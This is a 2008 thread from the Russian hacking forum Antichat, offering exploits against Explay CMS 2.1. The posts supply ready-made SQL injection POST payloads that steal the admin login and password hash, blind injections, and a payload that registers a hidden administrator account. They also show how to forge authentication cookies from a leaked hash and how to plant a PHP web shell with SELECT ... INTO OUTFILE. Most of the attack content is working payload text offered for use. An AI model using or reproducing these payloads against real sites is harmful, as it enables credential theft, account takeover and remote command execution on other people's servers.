Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Explay CMS 2.1 множественные SQL inj + Exploit |

30.10.2008, 23:35
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме: 2030482
Репутация:
1796
|
|
Explay CMS 2.1 множественные SQL inj + Exploit
Explay CMS 2.1
1) SQL injection
Need: magic_qoutes=Off
Вообщем уязвимый код приводить не буду. Опишу как заюзать.
Для эксплуатации необходим зарегестрированный юзер (далее U1). А также еще один юзер(U2) добавленный в друзья. Для обоих юзеров вы должны знать их id. Хочу еще обратить внимание на то что при эксплуатации этой уязвимости создается два ПМ сообщения, первое отправляется U2 в нем будет написанно только Hello, а второе сообщение будет содержать в себе админские логин/хеш и отправленно оно будет вам в ПМ.
Пакет к серверу составляем приблизительно вот такого типа:
Код:
URL: http://explay/messages/write/
POST: user=[id U2]&header=Hello',':)',NULL,'old'),('',[id U1],[id U1],'Хеш',(SELECT CONCAT(user_login,0x3a,user_password) FROM expl_users WHERE user_id=1),NULL,'new') -- dd&body=xxx&submit=1&body=xxx&submit=1
COOKIE: [куки вашего юзера]
2) Blind SQL injection's
Need: magic_qoutes=Off
Их всего две штуки, для первой написанн эксплойт (смотрим в атаче)
Пакет составлять так:
Код:
URL: http://explay/feedback/
POST: text=1&user_mail=ddd@dd.dd&mail=1' AND 1=IF(2>1,1,0) -- d
Либо для второй, но тут уже нужен зарегестрированный в системе юзер
Код:
URL: http://explay/edit_profile/
POST: name=1&save=1&email=1' OR 1=IF(1=1,1,0) -- d
COOKIE: [куки вашего юзера]
3) Создание администратора.
Need: magic_qoutes=Off, register_globals=On
Чтобы создать юзера с правами админа, при регистрации нового юзера, указываем еще одну переменную
Код:
POST: nicq=1','','','','off','',0,0,'','off','','','','','','','','','','',''), ('','login','9addbf544119efa4a64223b649750a510f0d463f','name','admin','1','xxx@xx.xx','1','','','','off','',0,0,'','off','','','','','','','','','','','') -- d
в итоге создастся два юзера, один из них будет с правами администратора. Для этой уязвимости написанн эксплойт (ацкей сплоент на чистом html), с прикольным интерфейсом, смотрим в атаче
__________________
Кто я?..
|
|
|
[Explay CMS <= 2.1] SQL Injection |

05.12.2008, 09:23
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
[Explay CMS <= 2.1] SQL Injection
[Explay CMS <= 2.1] SQL Injection
Уязвимость позволяет получить хэш пароля любого пользователя.
Экслуатация уязвимости возможна при отключённой PHP-директиве magic_quotes_gpc.
Для получение пароля необходимо добавить статью ( http://[explay]/my_articles/add/) с кодом специально сформированного SQL-запроса в поле art_body (то есть основной текст статьи).
Код добавления новой статьи:
modules/articles/mysql.class.php
PHP код:
public function add_article ($art) {
$this->db->query ("INSERT INTO ".DB_PEREFIX."_articles VALUES (
0,
'".$art['art_category']."',
'".$art['art_header']."',
'".$art['art_body']."',
'".User::$properties['user_id']."',
'".time()."',
'".$art['art_comments']."',
'',
'',
'".$art['art_publik']."',
'no',
'".$art['art_visible']."',
'".$art['art_tags']."',
'0',
'',
'0',
'".$art['auto_tag']."'
)");
Составляем ядовитый "текст" статьи:
PHP код:
aaaaa',
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'),
'1228445451',
'on',
'',
'',
'yes',
'no',
'on',
(SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='<USER'S_LOGIN>'),
'0',
'',
'0',
'yes' )/*
Подзапрос
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>')
нужен для того, чтобы статья добавилась именно от нашего имени (так как узнать свой user_id не позволяет движок)
В итоге выполнится вот такой запрос:
PHP код:
INSERT INTO expl_articles VALUES ( 0,
'',
'some_title',
'aaaaa',
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>'),
'1228445451',
'on',
'',
'',
'yes',
'no',
'on',
(SELECT concat_ws(0x3a, user_login, user_password) FROM expl_users WHERE user_login='<USER'S_LOGIN>'),
'0',
'',
'0',
'yes' )
Результат вложенного запроса добавиться в виде " login: password" в поле Теги, например
admin:012ce7449da5b5afb89db5f32810946ea94098e6
Но тут есть одна тонкость. Пароли могут шифроваться разными алгоритмами:
PHP код:
function expl_hash($str) {
if (function_exists('sha1'))
return sha1($str);
elseif (function_exists('mhash'))
return bin2hex(mhash(MHASH_SHA1, $str));
else
return md5($str);
}
Тип хеша лекго определить по длине строки. (MD5 - 32 байта, SHA1 - 40 байт).
К великому счастью, в движке авторизация пользователя реализована только через Cookies, так что мы можем не брутить хэш, а просто создать куки login и pass с соответствующими значениями. Теперь мы админы.
Getting shell
Но это ещё не всё! Встроенный в админку интерфейс для выполнения произвольных SQL-запросов позволяет нам создать шелл (при условии включённого file_priv):
PHP код:
SELECT '<?php system($_GET["cmd"]) ?>' INTO OUTFILE 'путь_к_движку/shell.php'
Последний раз редактировалось [x26]VOLAND; 03.01.2009 в 18:53..
|
|
|

05.12.2008, 13:15
|
|
Banned
Регистрация: 22.12.2007
Сообщений: 660
Провел на форуме: 3885269
Репутация:
1158
|
|
А что в этих запросах значит
(SELECT user_id FROM expl_users WHERE user_login='<UR_LOGIN>')
?
|
|
|

05.12.2008, 13:19
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
Тут мы должны получить свой собственный user_id, так как его необходимо указать при вставке, чтобы именно мы были автором статьи. Можно конечно и не указывать "WHERE user_login='<UR_LOGIN>'" и вписать к примеру единицу (user_id=1), но тогда автором будет сам админ =).
<UR_LOGIN> - наш логин (не путать с именем!).
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|